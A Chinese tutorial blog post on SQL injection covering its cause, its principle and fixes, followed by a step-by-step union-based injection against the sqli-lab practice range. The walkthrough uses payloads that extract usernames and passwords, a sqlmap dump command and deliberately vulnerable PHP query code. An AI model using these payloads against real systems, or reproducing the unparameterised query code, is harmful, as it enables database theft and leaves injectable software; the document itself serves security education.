• WEB安全-SQL注入


    注意:文章仅供大家参考学习


    前言


    注意:文章仅供大家参考
    网络安全中的SQL注入漏洞

    一、SQL注入是什么?

    注意:个人理解
    了解SQL注入之前,我们首先需要知道数据库的概念,数据库是企业或者程序开发人员用于存储数据的地方,数据库有相应的语句,语法,可以让我们对存储在数据库中的内容进行增删改查,渗透测试时,通过在网站上某些特殊位置,构造有特殊目的的数据库语句,从而可以得到我们想要的网站数据,包括像用户名,密码,甚至是用户和网站的敏感信息,假如得到管理员的账户信息,那危害可想而知,我们把这个构造特殊目的的数据库语句,并成功让服务器执行的过程就叫SQL注入;常见的数据库有MYSQL,ORACLE,SQL SERVER等

    二、造成SQL注入的原因

    web应用程序对用户输入数据的合法性没有判断或过滤不严格,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,以此欺骗数据库服务器执行非授权的任意查询,从而拿到自己想要的数据

    三、SQL注入原理

    网站一般都分为前端后端,前端主要是与用户进行交互的,用户在前端进行操作,后端根据用户的操作,执行相应的数据处理,并将数据返回到前端,前端再将数据渲染到页面,在后端进行数据处理的时候,一般需要使用SQL语句查询数据库,在页面数据交互的地方,攻击者构造sql语句,使web服务器执行恶意命令访问数据库,得到敏感数据,需要注意的是,参数用户可以控制,而且参数可以带入数据库查询,是sql注入的重要条件

    四、修复建议

    1. 对用户输入的数据进行过滤,过滤sql语句的关键字,像select,union,order by,',",),from等
    2. 在开发过程中,尽量使用预处理,或者使用最新的框架,来替换平常的sql语句
    3. 安装相应的安全设备,如WAF(web应用防火墙)

    五、靶场演示

    靶场为sqli-lab
    在这里给参数"id"传值,发现页面会显示用户名和密码,接下来我们探测注入点

    在这里插入图片描述
    我们给参数id传值 1’ 发现页面报错

    在这里插入图片描述
    再给参数id传值 1" 发现页面显示正常,可以验证这里是存在注入点, 闭合使用的是’

    在这里插入图片描述

    接下来判断有几个字段,并使用 " ’ --+ "来闭合SQL语句, 构造Payload id=1’ order by 4 --+, 发现报错,说明数据库中的字段个数不足4,小于4,继续向下测试

    在这里插入图片描述
    构造payload id=1’ order by 3 --+ 发现页面显示正常, 说明有3个字段

    在这里插入图片描述
    构造payload id=1’ and 1=2 union select 1,2,3 --+ 判断那个字段可以回显

    在这里插入图片描述
    经过上面判断,回显的字段,在2,3 字段,构造payload id=1’ and 1=2 union select 1,database(),@@datadir --+ 查看当前数据库,以及数据库的路径

    在这里插入图片描述

    经过上面测试,知道当前的数据库名字为security , 构造payload id=1’ and 1=2 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’),@@datadir --+ 查看当前数据库中存在那些表

    在这里插入图片描述

    通过上面的查询存在的表,我们看到有一个非常敏感的表明"users", 我们开始查询"users" 表中有哪些字段,构造payload id=1’ and 1=2 union select 1,(select group_concat(column_name) from information_schema.columns where table_name=‘users’),@@datadir --+

    在这里插入图片描述

    通过查询users 表中的字段,我们可以发现存在username,password,这些敏感字段,接下来,就是查询users中,username password 字段对应的值,构造payload id=1’ and 1=2 union select 1,(select group_concat(concat(username,password,‘**’)) from users),@@datadir --+

    在这里插入图片描述
    以上就是我们手工注入的过程,这也是比较基本的sql注入,下面,用工具sqlmap 来跑一下,速度更快

    python sqlmap.py -u "http://192.168.72.138/sqli-lab/Less-1/?id=1" --current-db --dump --batch

    在这里插入图片描述

    六、关键分析代码

    //这里的$id=$_GET['id'],是以GET方式获取我们在页面给id传入的参数值
    $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
    //当我们输入id=1' and 1=2 union select 1,database(),@@datadir --+ 的时候
    //这里的sql语句就会变成
    //$sql = "SELECT * FROM users WHERE id='1' and 1=2 union select 1,database(),@@datadir";
    //mysql_query($sql)执行的时候,就变成了我们特意构造的sql语句,这样就会返回一些敏感数据,从而实现SQL注入攻击
    $result=mysql_query($sql);
    $row = mysql_fetch_array($result);
    
    	if($row)
    	{
      	echo "";
      	echo 'Your Login name:'. $row['username'];
      	echo "
    "
    ; echo 'Your Password:' .$row['password']; echo "
    "; } else { echo ''; print_r(mysql_error()); echo ""; } } else { echo "Please input the ID as parameter with numeric value";} ?>
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27

  • 相关阅读:
    [深入研究4G/5G/6G专题-46]: L3信令控制-2-软件功能与流程的切分-DU网元的信令
    30_ue4进阶末日生存游戏开发[为道具添加碰撞系统]
    Golang操作数据库简单示例
    如何在互联网上赚到人生的第一桶金?
    Spring Security 注册过滤器关键点与最佳实践
    数据仓库与数据挖掘的第一章课后习题
    【软件测试面试】大D佬总结:这3个问题答好能加分不少......
    爬虫实现自己的翻译服务器
    Day38-创建Maven项目、Tomcat配置
    职业PDF标准 Python 下载器-CSDN
  • 原文地址:https://blog.csdn.net/weixin_56319791/article/details/126883174